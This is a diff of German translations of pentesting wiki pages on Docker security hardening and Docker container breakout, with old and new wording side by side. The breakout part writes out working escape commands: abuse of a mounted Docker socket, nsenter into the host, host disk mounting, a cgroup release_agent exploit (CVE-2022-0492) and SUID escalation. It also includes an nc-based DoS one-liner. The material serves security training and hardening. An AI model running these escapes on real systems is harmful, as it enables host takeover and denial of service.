Das **Standard-Docker-Seccomp-Profil** finden Sie unter [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
**AppArmor**
Docker hat eine Vorlage, die Sie aktivieren können: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
Dies ermöglicht es, Fähigkeiten, Systemaufrufe, den Zugriff auf Dateien und Ordner zu reduzieren...
Dies ermöglicht es, Fähigkeiten, syscalls, den Zugriff auf Dateien und Ordner... zu reduzieren.
</details>
@ -147,8 +147,8 @@ namespaces/
### cgroups
Die Linux-Kernel-Funktion **cgroups** bietet die Möglichkeit, **Ressourcen wie CPU, Speicher, IO, Netzwerkbandbreite** unter einer Gruppe von Prozessen zu **beschränken**. Docker ermöglicht die Erstellung von Containern unter Verwendung der cgroup-Funktion, die eine Ressourcensteuerung für den spezifischen Container ermöglicht.\
Nachfolgend ein Container, dessen Benutzerspeicher auf 500m, Kernel-Speicher auf 50m, CPU-Anteil auf 512 und blkio-weight auf 400 begrenzt ist. Der CPU-Anteil ist ein Verhältnis, das die CPU-Nutzung des Containers steuert. Er hat einen Standardwert von 1024 und einen Bereich von 0 bis 1024. Wenn drei Container denselben CPU-Anteil von 1024 haben, kann jeder Container bis zu 33 % der CPU im Falle von CPU-Ressourcenkonflikten nutzen. blkio-weight ist ein Verhältnis, das die IO des Containers steuert. Es hat einen Standardwert von 500 und einen Bereich von 10 bis 1000.
Die Linux-Kernel-Funktion **cgroups** bietet die Möglichkeit, **Ressourcen wie CPU, Speicher, IO, Netzwerkbandbreite unter** einer Gruppe von Prozessen zu **beschränken**. Docker ermöglicht die Erstellung von Containern unter Verwendung der cgroup-Funktion, die eine Ressourcensteuerung für den spezifischen Container ermöglicht.\
Folgendes ist ein Container, dessen Benutzerspeichermenge auf 500m, der Kernel-Speicher auf 50m, der CPU-Anteil auf 512 und der blkio-weight auf 400 begrenzt ist. Der CPU-Anteil ist ein Verhältnis, das die CPU-Nutzung des Containers steuert. Er hat einen Standardwert von 1024 und einen Bereich zwischen 0 und 1024. Wenn drei Container denselben CPU-Anteil von 1024 haben, kann jeder Container bis zu 33 % der CPU im Falle von CPU-Ressourcenkonflikten nutzen. Der blkio-weight ist ein Verhältnis, das das IO des Containers steuert. Er hat einen Standardwert von 500 und einen Bereich zwischen 10 und 1000.
```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
```
@ -166,7 +166,7 @@ cgroups.md
### Fähigkeiten
Fähigkeiten ermöglichen **eine genauere Kontrolle über die Fähigkeiten, die für den Root-Benutzer erlaubt sein können**. Docker verwendet die Linux-Kernel-Fähigkeitsfunktion, um **die Operationen zu begrenzen, die innerhalb eines Containers durchgeführt werden können**, unabhängig von der Art des Benutzers.
Fähigkeiten ermöglichen **eine genauere Kontrolle über die Fähigkeiten, die für den Root-Benutzer erlaubt sein können**. Docker verwendet die Fähigkeit-Funktion des Linux-Kernels, um **die Operationen zu begrenzen, die innerhalb eines Containers durchgeführt werden können**, unabhängig von der Art des Benutzers.
Wenn ein Docker-Container ausgeführt wird, **verliert der Prozess sensible Fähigkeiten, die der Prozess nutzen könnte, um aus der Isolation zu entkommen**. Dies versucht sicherzustellen, dass der Prozess keine sensiblen Aktionen ausführen und entkommen kann:
@ -176,7 +176,7 @@ Wenn ein Docker-Container ausgeführt wird, **verliert der Prozess sensible Fäh
### Seccomp in Docker
Dies ist eine Sicherheitsfunktion, die es Docker ermöglicht, **die Syscalls** zu begrenzen, die innerhalb des Containers verwendet werden können:
Dies ist eine Sicherheitsfunktion, die es Docker ermöglicht, **die Syscalls zu begrenzen**, die innerhalb des Containers verwendet werden können:
{{#ref}}
seccomp.md
@ -184,7 +184,7 @@ seccomp.md
### AppArmor in Docker
**AppArmor** ist eine Kernel-Erweiterung, um **Container** auf eine **begrenzte** Menge von **Ressourcen** mit **programmbezogenen Profilen** zu beschränken.:
**AppArmor** ist eine Kernel-Erweiterung, um **Container** auf eine **begrenzte** Menge von **Ressourcen** mit **programmbezogenen Profilen** zu beschränken:
{{#ref}}
apparmor.md
@ -195,7 +195,7 @@ apparmor.md
- **Labeling-System**: SELinux weist jedem Prozess und jedem Dateisystemobjekt ein einzigartiges Label zu.
- **Durchsetzung von Richtlinien**: Es setzt Sicherheitsrichtlinien durch, die definieren, welche Aktionen ein Prozesslabel auf anderen Labels im System ausführen kann.
- **Container-Prozess-Labels**: Wenn Container-Engines Container-Prozesse initiieren, wird ihnen typischerweise ein eingeschränktes SELinux-Label, häufig `container_t`, zugewiesen.
- **Dateilabeling innerhalb von Containern**: Dateien innerhalb des Containers werden normalerweise als `container_file_t` gekennzeichnet.
- **Datei-Labeling innerhalb von Containern**: Dateien innerhalb des Containers werden normalerweise als `container_file_t` gekennzeichnet.
- **Richtlinienregeln**: Die SELinux-Richtlinie stellt hauptsächlich sicher, dass Prozesse mit dem Label `container_t` nur mit Dateien interagieren können, die als `container_file_t` gekennzeichnet sind.
Dieser Mechanismus stellt sicher, dass selbst wenn ein Prozess innerhalb eines Containers kompromittiert wird, er auf die Interaktion mit Objekten beschränkt ist, die die entsprechenden Labels haben, was den potenziellen Schaden durch solche Kompromittierungen erheblich begrenzt.
@ -209,7 +209,7 @@ Dieser Mechanismus stellt sicher, dass selbst wenn ein Prozess innerhalb eines C
In Docker spielt ein Autorisierungs-Plugin eine entscheidende Rolle für die Sicherheit, indem es entscheidet, ob Anfragen an den Docker-Daemon erlaubt oder blockiert werden. Diese Entscheidung wird getroffen, indem zwei wichtige Kontexte untersucht werden:
- **Authentifizierungskontext**: Dies umfasst umfassende Informationen über den Benutzer, wie wer sie sind und wie sie sich authentifiziert haben.
- **Befehlskontext**: Dies umfasst alle relevanten Daten, die sich auf die gestellte Anfrage beziehen.
- **Befehlskontext**: Dies umfasst alle relevanten Daten, die mit der Anfrage verbunden sind.
Diese Kontexte helfen sicherzustellen, dass nur legitime Anfragen von authentifizierten Benutzern verarbeitet werden, was die Sicherheit der Docker-Operationen erhöht.
@ -219,7 +219,7 @@ authz-and-authn-docker-access-authorization-plugin.md
## DoS von einem Container
Wenn Sie die Ressourcen, die ein Container nutzen kann, nicht ordnungsgemäß begrenzen, könnte ein kompromittierter Container den Host, auf dem er läuft, DoS.
Wenn Sie die Ressourcen, die ein Container nutzen kann, nicht ordnungsgemäß begrenzen, könnte ein kompromittierter Container den Host, auf dem er läuft, DoS.
- CPU DoS
```bash
@ -237,7 +237,7 @@ nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444;
### --privileged-Flag
Auf der folgenden Seite können Sie lernen, **was der `--privileged`-Flag bedeutet**:
Auf der folgenden Seite können Sie lernen, **was der `--privileged`-Flag impliziert**:
{{#ref}}
docker-privileged.md
@ -247,9 +247,9 @@ docker-privileged.md
#### no-new-privileges
Wenn Sie einen Container ausführen, in dem ein Angreifer es schafft, als Benutzer mit niedrigen Rechten Zugriff zu erhalten. Wenn Sie eine **fehlerhaft konfigurierte SUID-Binärdatei** haben, kann der Angreifer diese missbrauchen und **die Berechtigungen innerhalb** des Containers eskalieren. Dies könnte ihm ermöglichen, aus dem Container zu entkommen.
Wenn Sie einen Container ausführen, in dem ein Angreifer es schafft, als Benutzer mit niedrigen Rechten Zugriff zu erhalten. Wenn Sie eine **fehlerhaft konfigurierte SUID-Binärdatei** haben, kann der Angreifer diese missbrauchen und **die Privilegien innerhalb** des Containers eskalieren. Dies könnte ihm ermöglichen, aus dem Container zu entkommen.
Das Ausführen des Containers mit der aktivierten **`no-new-privileges`**-Option wird **diese Art der Berechtigungseskalation verhindern**.
Das Ausführen des Containers mit der aktivierten **`no-new-privileges`**-Option wird **diese Art der Privilegieneskalation verhindern**.
```
docker run -it --security-opt=no-new-privileges:true nonewpriv
```
@ -272,18 +272,18 @@ Für weitere **`--security-opt`** Optionen siehe: [https://docs.docker.com/engin
## Weitere Sicherheitsüberlegungen
### Verwaltung von Geheimnissen: Best Practices
### Verwaltung von Geheimnissen: Beste Praktiken
Es ist entscheidend, Geheimnisse nicht direkt in Docker-Images einzubetten oder Umgebungsvariablen zu verwenden, da diese Methoden Ihre sensiblen Informationen für jeden, der Zugriff auf den Container hat, durch Befehle wie `docker inspect` oder `exec` zugänglich machen.
Es ist entscheidend, Geheimnisse nicht direkt in Docker-Images einzubetten oder Umgebungsvariablen zu verwenden, da diese Methoden Ihre sensiblen Informationen für jeden, der Zugriff auf den Container hat, durch Befehle wie `docker inspect` oder `exec` offenlegen.
**Docker-Volumes** sind eine sicherere Alternative, die empfohlen wird, um auf sensible Informationen zuzugreifen. Sie können als temporäres Dateisystem im Speicher genutzt werden, wodurch die Risiken im Zusammenhang mit `docker inspect` und Protokollierung gemindert werden. Allerdings könnten Root-Benutzer und solche mit `exec`-Zugriff auf den Container weiterhin auf die Geheimnisse zugreifen.
**Docker-Secrets** bieten eine noch sicherere Methode zur Handhabung sensibler Informationen. Für Instanzen, die während der Image-Bauphase Geheimnisse benötigen, bietet **BuildKit** eine effiziente Lösung mit Unterstützung für Geheimnisse zur Bauzeit, die die Baugeschwindigkeit erhöht und zusätzliche Funktionen bereitstellt.
**Docker-Secrets** bieten eine noch sicherere Methode zur Handhabung sensibler Informationen. Für Instanzen, die während der Bildbauphase Geheimnisse benötigen, bietet **BuildKit** eine effiziente Lösung mit Unterstützung für Geheimnisse zur Bauzeit, die die Baugeschwindigkeit erhöht und zusätzliche Funktionen bereitstellt.
Um BuildKit zu nutzen, kann es auf drei Arten aktiviert werden:
1. Durch eine Umgebungsvariable: `export DOCKER_BUILDKIT=1`
2. Durch das Präfixen von Befehlen: `DOCKER_BUILDKIT=1 docker build .`
2. Durch das Voranstellen von Befehlen: `DOCKER_BUILDKIT=1 docker build .`
3. Durch die standardmäßige Aktivierung in der Docker-Konfiguration: `{ "features": { "buildkit": true } }`, gefolgt von einem Docker-Neustart.
BuildKit ermöglicht die Verwendung von Geheimnissen zur Bauzeit mit der Option `--secret`, um sicherzustellen, dass diese Geheimnisse nicht im Image-Bau-Cache oder im endgültigen Image enthalten sind, indem ein Befehl wie folgt verwendet wird:
@ -309,7 +309,7 @@ In Kubernetes-Umgebungen werden Secrets nativ unterstützt und können mit Tools
### gVisor
**gVisor** ist ein Anwendungs-Kernel, der in Go geschrieben ist und einen wesentlichen Teil der Linux-Systemoberfläche implementiert. Er enthält eine [Open Container Initiative (OCI)](https://www.opencontainers.org) Runtime namens `runsc`, die eine **Isolationsgrenze zwischen der Anwendung und dem Host-Kernel** bietet. Die `runsc` Runtime integriert sich mit Docker und Kubernetes, was es einfach macht, sandboxed Container auszuführen.
**gVisor** ist ein Anwendungs-Kernel, der in Go geschrieben ist und einen wesentlichen Teil der Linux-Systemoberfläche implementiert. Er umfasst eine [Open Container Initiative (OCI)](https://www.opencontainers.org) Runtime namens `runsc`, die eine **Isolationsgrenze zwischen der Anwendung und dem Host-Kernel** bietet. Die `runsc` Runtime integriert sich mit Docker und Kubernetes, was es einfach macht, sandboxed Container auszuführen.
{{#ref}}
https://github.com/google/gvisor
@ -317,7 +317,7 @@ https://github.com/google/gvisor
### Kata Containers
**Kata Containers** ist eine Open-Source-Community, die daran arbeitet, eine sichere Container-Runtime mit leichten virtuellen Maschinen zu erstellen, die sich anfühlen und funktionieren wie Container, aber **stärkere Arbeitslastisolierung durch Hardware-Virtualisierung** Technologie als zweite Verteidigungsebene bieten.
**Kata Containers** ist eine Open-Source-Community, die daran arbeitet, eine sichere Container-Runtime mit leichten virtuellen Maschinen zu erstellen, die sich anfühlen und funktionieren wie Container, aber **stärkere Arbeitslastisolierung durch Hardware-Virtualisierung** als zweite Verteidigungsebene bieten.
{{#ref}}
https://katacontainers.io/
@ -325,24 +325,24 @@ https://katacontainers.io/
### Zusammenfassende Tipps
- **Verwenden Sie nicht das `--privileged` Flag oder mounten Sie einen** [**Docker-Socket innerhalb des Containers**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Der Docker-Socket ermöglicht das Erstellen von Containern, sodass es ein einfacher Weg ist, die vollständige Kontrolle über den Host zu übernehmen, indem beispielsweise ein anderer Container mit dem `--privileged` Flag ausgeführt wird.
- **Führen Sie nicht als root innerhalb des Containers aus. Verwenden Sie einen** [**anderen Benutzer**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **und** [**Benutzernamensräume**](https://docs.docker.com/engine/security/userns-remap/)**.** Der Root im Container ist derselbe wie auf dem Host, es sei denn, er wird mit Benutzernamensräumen umgeschrieben. Er ist nur leicht eingeschränkt durch hauptsächlich Linux-Namensräume, Fähigkeiten und cgroups.
- [**Entfernen Sie alle Fähigkeiten**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) und aktivieren Sie nur die, die erforderlich sind** (`--cap-add=...`). Viele Arbeitslasten benötigen keine Fähigkeiten, und das Hinzufügen erhöht den Umfang eines potenziellen Angriffs.
- [**Verwenden Sie die Sicherheitsoption „no-new-privileges“**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/), um zu verhindern, dass Prozesse mehr Privilegien erlangen, beispielsweise durch SUID-Binärdateien.
- **Verwenden Sie nicht das `--privileged`-Flag oder mounten Sie einen** [**Docker-Socket innerhalb des Containers**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Der Docker-Socket ermöglicht das Erstellen von Containern, sodass es ein einfacher Weg ist, die vollständige Kontrolle über den Host zu übernehmen, indem beispielsweise ein anderer Container mit dem `--privileged`-Flag ausgeführt wird.
- **Führen Sie nicht als root innerhalb des Containers aus. Verwenden Sie einen** [**anderen Benutzer**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **und** [**Benutzernamensräume**](https://docs.docker.com/engine/security/userns-remap/)**.** Der Root im Container ist derselbe wie auf dem Host, es sei denn, er wird mit Benutzernamensräumen umgeschrieben. Er ist nur leicht eingeschränkt durch hauptsächlich Linux-Namensräume, Berechtigungen und cgroups.
- [**Entfernen Sie alle Berechtigungen**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) und aktivieren Sie nur die, die erforderlich sind** (`--cap-add=...`). Viele Arbeitslasten benötigen keine Berechtigungen, und das Hinzufügen erhöht den Umfang eines potenziellen Angriffs.
- [**Verwenden Sie die Sicherheitsoption „no-new-privileges“**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/), um zu verhindern, dass Prozesse mehr Berechtigungen erhalten, beispielsweise durch SUID-Binärdateien.
- [**Begrenzen Sie die Ressourcen, die dem Container zur Verfügung stehen**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Ressourcenlimits können die Maschine vor Denial-of-Service-Angriffen schützen.
- **Passen Sie** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(oder SELinux)** Profile an, um die Aktionen und Syscalls, die für den Container verfügbar sind, auf das Minimum zu beschränken.
- **Verwenden Sie** [**offizielle Docker-Images**](https://docs.docker.com/docker-hub/official_images/) **und verlangen Sie Signaturen** oder erstellen Sie Ihre eigenen basierend auf ihnen. Erben oder verwenden Sie keine [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) Images. Bewahren Sie auch Root-Schlüssel und Passphrasen an einem sicheren Ort auf. Docker plant, Schlüssel mit UCP zu verwalten.
- **Bauen Sie regelmäßig** **Ihre Images neu, um** **Sicherheitspatches auf den Host und die Images anzuwenden.**
- **Bauen Sie regelmäßig** Ihre Images neu, um **Sicherheitspatches auf den Host und die Images anzuwenden.**
- Verwalten Sie Ihre **Secrets weise**, damit es für den Angreifer schwierig ist, darauf zuzugreifen.
- Wenn Sie **den Docker-Daemon exponieren, verwenden Sie HTTPS** mit Client- und Serverauthentifizierung.
- In Ihrem Dockerfile, **bevorzugen Sie COPY anstelle von ADD**. ADD extrahiert automatisch gezippte Dateien und kann Dateien von URLs kopieren. COPY hat diese Fähigkeiten nicht. Vermeiden Sie wann immer möglich die Verwendung von ADD, damit Sie nicht anfällig für Angriffe über entfernte URLs und Zip-Dateien sind.
- Haben Sie **getrennte Container für jeden Mikro-s**ervice.
- **Setzen Sie ssh** nicht in den Container, „docker exec“ kann verwendet werden, um sich in den Container einzuloggen.
- Haben Sie **kleinere** Container **Images**.
- Haben Sie **getrennte Container für jeden Mikroservice.**
- **Setzen Sie kein ssh** innerhalb des Containers ein, „docker exec“ kann verwendet werden, um sich in den Container einzuloggen.
- Haben Sie **kleinere** Container **Images.**
## Docker Breakout / Privilegieneskalation
Wenn Sie **in einem Docker-Container** sind oder Zugriff auf einen Benutzer in der **Docker-Gruppe** haben, könnten Sie versuchen, **zu entkommen und Privilegien zu eskalieren**:
Wenn Sie **in einem Docker-Container sind** oder Zugriff auf einen Benutzer in der **Docker-Gruppe** haben, könnten Sie versuchen, **zu entkommen und Privilegien zu eskalieren**:
{{#ref}}
docker-breakout-privilege-escalation/
@ -356,7 +356,7 @@ Wenn Sie Zugriff auf den Docker-Socket haben oder Zugriff auf einen Benutzer in
authz-and-authn-docker-access-authorization-plugin.md
{{#endref}}
## Härtung von Docker
## Docker-Härtung
- Das Tool [**docker-bench-security**](https://github.com/docker/docker-bench-security) ist ein Skript, das Dutzende von gängigen Best Practices zur Bereitstellung von Docker-Containern in der Produktion überprüft. Die Tests sind alle automatisiert und basieren auf dem [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
Sie müssen das Tool vom Host ausführen, der Docker ausführt, oder von einem Container mit ausreichenden Berechtigungen. Finden Sie heraus, **wie Sie es im README ausführen:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).

View File

@ -6,13 +6,13 @@
- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Es kann auch **Container enumerieren**
- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Dieses Tool ist ziemlich **nützlich, um den Container, in dem Sie sich befinden, zu enumerieren und sogar automatisch zu versuchen, zu entkommen**
- [**amicontained**](https://github.com/genuinetools/amicontained): Nützliches Tool, um die Berechtigungen zu erhalten, die der Container hat, um Wege zu finden, daraus zu entkommen
- [**amicontained**](https://github.com/genuinetools/amicontained): Nützliches Tool, um die Berechtigungen zu erhalten, die der Container hat, um Wege zu finden, um daraus zu entkommen
- [**deepce**](https://github.com/stealthcopter/deepce): Tool zur Enumeration und zum Entkommen aus Containern
- [**grype**](https://github.com/anchore/grype): Erhalten Sie die CVEs, die in der Software enthalten sind, die im Image installiert ist
## Escape vom gemounteten Docker Socket
## Mounted Docker Socket Escape
Wenn Sie irgendwie feststellen, dass der **Docker-Socket gemountet ist** innerhalb des Docker-Containers, werden Sie in der Lage sein, daraus zu entkommen.\
Wenn Sie feststellen, dass der **Docker-Socket gemountet ist** innerhalb des Docker-Containers, werden Sie in der Lage sein, daraus zu entkommen.\
Dies geschieht normalerweise in Docker-Containern, die aus irgendeinem Grund eine Verbindung zum Docker-Daemon herstellen müssen, um Aktionen auszuführen.
```bash
#Search the socket
@ -33,12 +33,12 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
```
> [!NOTE]
> Falls der **Docker-Socket an einem unerwarteten Ort** ist, können Sie dennoch mit ihm kommunizieren, indem Sie den **`docker`** Befehl mit dem Parameter **`-H unix:///path/to/docker.sock`** verwenden.
> [!TIP]
> Falls der **Docker-Socket an einem unerwarteten Ort** ist, können Sie trotzdem mit ihm kommunizieren, indem Sie den **`docker`** Befehl mit dem Parameter **`-H unix:///path/to/docker.sock`** verwenden.
Der Docker-Daemon könnte auch [an einem Port (standardmäßig 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) lauschen oder auf Systemd-basierten Systemen kann die Kommunikation mit dem Docker-Daemon über den Systemd-Socket `fd://` erfolgen.
> [!NOTE]
> [!TIP]
> Achten Sie außerdem auf die Laufzeitsockets anderer hochrangiger Laufzeiten:
>
> - dockershim: `unix:///var/run/dockershim.sock`
@ -48,21 +48,21 @@ Der Docker-Daemon könnte auch [an einem Port (standardmäßig 2375, 2376)](../.
> - rktlet: `unix:///var/run/rktlet.sock`
> - ...
## Missbrauch von Berechtigungen zur Umgehung
## Missbrauch von Berechtigungen zur Flucht
Sie sollten die Berechtigungen des Containers überprüfen. Wenn er eine der folgenden Berechtigungen hat, könnten Sie möglicherweise daraus entkommen: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
Sie sollten die Berechtigungen des Containers überprüfen. Wenn er eine der folgenden hat, könnten Sie möglicherweise daraus entkommen: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
Sie können die aktuellen Container-Berechtigungen mit **den zuvor erwähnten automatischen Tools** oder:
Sie können die aktuellen Container-Berechtigungen mit **bereits erwähnten automatischen Tools** oder:
```bash
capsh --print
```
Auf der folgenden Seite können Sie **mehr über Linux-Fähigkeiten erfahren** und wie man sie missbraucht, um Privilegien zu entkommen/eskalieren:
Auf der folgenden Seite können Sie **mehr über Linux-Fähigkeiten erfahren** und wie man sie missbrauchen kann, um Privilegien zu entkommen/zu eskalieren:
{{#ref}}
../../linux-capabilities.md
{{#endref}}
## Ausbruch aus privilegierten Containern
## Entkommen aus privilegierten Containern
Ein privilegierter Container kann mit dem Flag `--privileged` oder durch Deaktivierung spezifischer Abwehrmaßnahmen erstellt werden:
@ -84,7 +84,7 @@ Das Flag `--privileged` senkt die Sicherheit des Containers erheblich und bietet
### Privilegiert + hostPID
Mit diesen Berechtigungen können Sie einfach **in den Namensraum eines Prozesses wechseln, der als Root im Host läuft**, wie init (pid:1), indem Sie einfach ausführen: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
Mit diesen Berechtigungen können Sie einfach **in den Namensraum eines Prozesses wechseln, der als root auf dem Host läuft**, wie init (pid:1), indem Sie einfach Folgendes ausführen: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
Testen Sie es in einem Container, indem Sie ausführen:
```bash
@ -92,7 +92,7 @@ docker run --rm -it --pid=host --privileged ubuntu bash
```
### Privilegiert
Nur mit dem privilegierten Flag kannst du versuchen, auf **die Festplatte des Hosts** zuzugreifen oder zu versuchen, **durch die Ausnutzung von release_agent oder anderen Ausbrüchen zu entkommen**.
Nur mit dem privilegierten Flag kannst du versuchen, auf **die Festplatte des Hosts** zuzugreifen oder versuchen, **durch die Ausnutzung von release_agent oder anderen Ausbrüchen zu entkommen**.
Teste die folgenden Umgehungen in einem Container, indem du ausführst:
```bash
@ -100,7 +100,7 @@ docker run --rm -it --privileged ubuntu bash
```
#### Mounting Disk - Poc1
Gut konfigurierte Docker-Container erlauben keine Befehle wie **fdisk -l**. Bei falsch konfigurierten Docker-Befehlen, bei denen das Flag `--privileged` oder `--device=/dev/sda1` mit Großbuchstaben angegeben ist, ist es möglich, die Berechtigungen zu erhalten, um das Host-Laufwerk zu sehen.
Gut konfigurierte Docker-Container erlauben keine Befehle wie **fdisk -l**. Bei falsch konfigurierten Docker-Befehlen, bei denen das Flag `--privileged` oder `--device=/dev/sda1` mit Großbuchstaben angegeben ist, ist es jedoch möglich, die Berechtigungen zu erhalten, um das Host-Laufwerk zu sehen.
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
@ -109,11 +109,11 @@ Um die Host-Maschine zu übernehmen, ist es trivial:
mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola
```
Und voilà! Sie können jetzt auf das Dateisystem des Hosts zugreifen, da es im `/mnt/hola`-Ordner gemountet ist.
Und voilà! Sie können jetzt auf das Dateisystem des Hosts zugreifen, da es im Ordner `/mnt/hola` gemountet ist.
#### Mounting Disk - Poc2
#### Disk Mount - Poc2
Innerhalb des Containers kann ein Angreifer versuchen, weiteren Zugriff auf das zugrunde liegende Host-OS über ein beschreibbares hostPath-Volume zu erhalten, das vom Cluster erstellt wurde. Im Folgenden sind einige gängige Dinge aufgeführt, die Sie innerhalb des Containers überprüfen können, um zu sehen, ob Sie diesen Angreifer-Vektor nutzen können:
Innerhalb des Containers kann ein Angreifer versuchen, weiteren Zugriff auf das zugrunde liegende Host-Betriebssystem über ein beschreibbares hostPath-Volume zu erhalten, das vom Cluster erstellt wurde. Im Folgenden sind einige gängige Dinge aufgeführt, die Sie innerhalb des Containers überprüfen können, um zu sehen, ob Sie diesen Angreifer-Vektor nutzen können:
```bash
### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger
@ -168,7 +168,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
# Reads the output
cat /o
```
#### Privilegierte Escalation durch Ausnutzung von created release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
#### Privilegierte Eskalation durch Ausnutzung von created release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
```bash:Second PoC
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
@ -310,9 +310,9 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
...
```
#### Privilegierte Eskalation durch Ausnutzung sensibler Mounts
#### Privilegierte Flucht durch Ausnutzung sensibler Mounts
Es gibt mehrere Dateien, die möglicherweise gemountet sind und **Informationen über den zugrunde liegenden Host** geben. Einige von ihnen können sogar **etwas anzeigen, das vom Host ausgeführt werden soll, wenn etwas passiert** (was einem Angreifer ermöglichen wird, aus dem Container auszubrechen).\
Es gibt mehrere Dateien, die möglicherweise gemountet sind und **Informationen über den zugrunde liegenden Host** geben. Einige von ihnen können sogar **etwas anzeigen, das vom Host ausgeführt werden soll, wenn etwas passiert** (was einem Angreifer ermöglicht, aus dem Container auszubrechen).\
Der Missbrauch dieser Dateien kann Folgendes ermöglichen:
- release_agent (bereits zuvor behandelt)
@ -333,10 +333,12 @@ In mehreren Fällen werden Sie feststellen, dass der **Container ein Volume vom
```bash
docker run --rm -it -v /:/host ubuntu bash
```
Ein weiteres interessantes Beispiel findet sich in [**diesem Blog**](https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce), wo angegeben wird, dass die Ordner `/usr/bin/` und `/bin/` des Hosts im Container gemountet sind, was es dem Root-Benutzer des Containers ermöglicht, Binärdateien in diesen Ordnern zu ändern. Daher, wenn ein Cron-Job eine Binärdatei von dort verwendet, wie `/etc/cron.d/popularity-contest`, ermöglicht dies das Entkommen aus dem Container, indem eine von dem Cron-Job verwendete Binärdatei geändert wird.
### Privilegieneskalation mit 2 Shells und Host-Mount
Wenn Sie als **root innerhalb eines Containers** Zugriff haben, der einen Ordner vom Host gemountet hat, und Sie als **nicht privilegierter Benutzer auf den Host entkommen sind** und Lesezugriff auf den gemounteten Ordner haben.\
Sie können eine **bash suid-Datei** im **gemounteten Ordner** innerhalb des **Containers** erstellen und sie **vom Host ausführen**, um Privilegien zu eskalieren.
Wenn Sie als **Root innerhalb eines Containers** Zugriff haben, der einen Ordner vom Host gemountet hat, und Sie als **nicht privilegierter Benutzer zum Host entkommen sind** und Lesezugriff auf den gemounteten Ordner haben.\
Sie können eine **bash suid-Datei** im **gemounteten Ordner** innerhalb des **Containers** erstellen und **von dem Host aus ausführen**, um Privilegien zu eskalieren.
```bash
cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
@ -346,8 +348,8 @@ bash -p #From non priv inside mounted folder
```
### Privilegieneskalation mit 2 Shells
Wenn Sie als **root innerhalb eines Containers** Zugriff haben und als **nicht privilegierter Benutzer zum Host entkommen sind**, können Sie beide Shells missbrauchen, um **Privesc innerhalb des Hosts** durchzuführen, wenn Sie die Fähigkeit MKNOD innerhalb des Containers haben (standardmäßig vorhanden), wie [**in diesem Beitrag erklärt**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
Mit dieser Fähigkeit darf der root-Benutzer innerhalb des Containers **Blockgerätedateien erstellen**. Gerätedateien sind spezielle Dateien, die verwendet werden, um **auf zugrunde liegende Hardware & Kernelmodule zuzugreifen**. Zum Beispiel ermöglicht die Blockgerätedatei /dev/sda den Zugriff auf **die Rohdaten auf der Festplatte des Systems**.
Wenn Sie als **root innerhalb eines Containers** Zugriff haben und als **nicht privilegierter Benutzer auf den Host entkommen sind**, können Sie beide Shells missbrauchen, um **Privesc innerhalb des Hosts** durchzuführen, wenn Sie die Fähigkeit MKNOD innerhalb des Containers haben (standardmäßig vorhanden) wie [**in diesem Beitrag erklärt**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
